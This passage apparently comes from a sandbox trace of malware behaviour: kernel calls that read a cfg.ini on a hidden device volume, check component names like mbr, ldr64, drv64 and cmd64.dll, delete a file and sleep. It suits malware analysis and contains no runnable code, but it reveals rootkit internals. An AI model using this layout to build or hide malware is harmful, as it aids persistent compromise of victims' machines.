out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.761] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.761] IdePortDispatch () returned 0x103 [0128.762] KeWaitForMutexObject () returned 0x0 [0128.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.762] KeLeaveCriticalRegion () [0128.762] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.762] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.762] KeEnterCriticalRegion () [0128.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.762] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.762] KeLeaveCriticalRegion () [0128.762] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.762] KeEnterCriticalRegion () [0128.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.762] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.762] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c003c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.763] KeLeaveCriticalRegion () [0128.763] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.763] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.763] KeEnterCriticalRegion () [0128.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.763] ExFreePoolWithTag (P=0xfffffa8003bfffb0, Tag=0x0) [0128.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.763] KeLeaveCriticalRegion () [0128.763] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.763] ReleaseMutex (hMutex=0xf0) returned 1 [0128.763] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.763] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.763] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.763] KeEnterCriticalRegion () [0128.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.763] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.763] IdePortDispatch () returned 0x103 [0128.763] KeWaitForMutexObject () returned 0x0 [0128.763] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.763] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.763] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.763] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.763] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.763] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfff00 [0128.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.763] KeLeaveCriticalRegion () [0128.763] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.763] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.764] KeEnterCriticalRegion () [0128.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.764] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.764] KeLeaveCriticalRegion () [0128.764] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.764] KeEnterCriticalRegion () [0128.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.764] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.764] IdePortDispatch () returned 0x103 [0128.764] KeWaitForMutexObject () returned 0x0 [0128.764] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.764] KeLeaveCriticalRegion () [0128.764] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.764] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.764] KeEnterCriticalRegion () [0128.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.764] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b20000 [0128.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.764] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.764] IdePortDispatch () returned 0x103 [0128.764] KeWaitForMutexObject () returned 0x0 [0128.765] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.765] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.765] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.765] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.765] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.765] IdePortDispatch () returned 0x103 [0128.765] KeWaitForMutexObject () returned 0x0 [0128.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.765] KeLeaveCriticalRegion () [0128.765] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.765] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.765] KeEnterCriticalRegion () [0128.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.765] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.765] KeLeaveCriticalRegion () [0128.766] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.766] KeEnterCriticalRegion () [0128.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.766] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.766] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.766] KeLeaveCriticalRegion () [0128.766] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.766] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.766] KeEnterCriticalRegion () [0128.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.766] ExFreePoolWithTag (P=0xfffffa8003bfff00, Tag=0x0) [0128.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.766] KeLeaveCriticalRegion () [0128.766] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.766] ReleaseMutex (hMutex=0xf0) returned 1 [0128.766] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.766] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.766] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.766] KeEnterCriticalRegion () [0128.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.766] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.766] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.766] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.766] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.766] IdePortDispatch () returned 0x103 [0128.766] KeWaitForMutexObject () returned 0x0 [0128.766] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.766] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.766] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.766] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.766] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.767] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00210 [0128.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.767] KeLeaveCriticalRegion () [0128.767] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.767] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.767] KeEnterCriticalRegion () [0128.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.767] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.767] KeLeaveCriticalRegion () [0128.767] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.767] KeEnterCriticalRegion () [0128.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.767] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.767] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.767] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.767] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.767] IdePortDispatch () returned 0x103 [0128.767] KeWaitForMutexObject () returned 0x0 [0128.767] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.767] KeLeaveCriticalRegion () [0128.767] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.767] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.767] KeEnterCriticalRegion () [0128.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.767] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b21000 [0128.767] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.767] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.767] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.767] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.767] IdePortDispatch () returned 0x103 [0128.768] KeWaitForMutexObject () returned 0x0 [0128.768] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.768] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.768] IdePortDispatch () returned 0x103 [0128.768] KeWaitForMutexObject () returned 0x0 [0128.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.768] KeLeaveCriticalRegion () [0128.768] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.769] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.769] KeEnterCriticalRegion () [0128.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.769] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.769] KeLeaveCriticalRegion () [0128.769] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.769] KeEnterCriticalRegion () [0128.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.769] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.769] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.769] KeLeaveCriticalRegion () [0128.769] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.769] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.769] KeEnterCriticalRegion () [0128.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.769] ExFreePoolWithTag (P=0xfffffa8003c00210, Tag=0x0) [0128.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.769] KeLeaveCriticalRegion () [0128.769] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.769] ReleaseMutex (hMutex=0xf0) returned 1 [0128.769] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.769] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.769] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.769] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.769] KeEnterCriticalRegion () [0128.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.769] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.769] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.769] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.769] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.769] IdePortDispatch () returned 0x103 [0128.771] KeWaitForMutexObject () returned 0x0 [0128.771] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.771] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.771] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.771] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.771] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.771] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.771] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.771] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.771] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.771] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.771] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.771] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.771] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.771] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.771] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.771] KeLeaveCriticalRegion () [0128.771] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.771] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.771] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.771] KeEnterCriticalRegion () [0128.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.771] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.771] IdePortDispatch () returned 0x103 [0128.771] KeWaitForMutexObject () returned 0x0 [0128.771] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.771] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.771] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.771] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.771] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.771] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.772] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.772] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.772] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.772] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.772] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.772] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.772] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.772] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.772] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.772] KeLeaveCriticalRegion () [0128.772] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.772] ReleaseMutex (hMutex=0x100) returned 1 [0128.772] Sleep (dwMilliseconds=0x2bf20) [0128.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ff40e70, dwHighDateTime=0x1d24fa4)) [0128.779] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.779] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.779] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.779] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.779] KeEnterCriticalRegion () [0128.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.779] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.779] IdePortDispatch () returned 0x103 [0128.779] KeWaitForMutexObject () returned 0x0 [0128.779] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.779] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.779] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.779] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.779] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.779] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01d70 [0128.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.779] KeLeaveCriticalRegion () [0128.779] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.780] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.780] 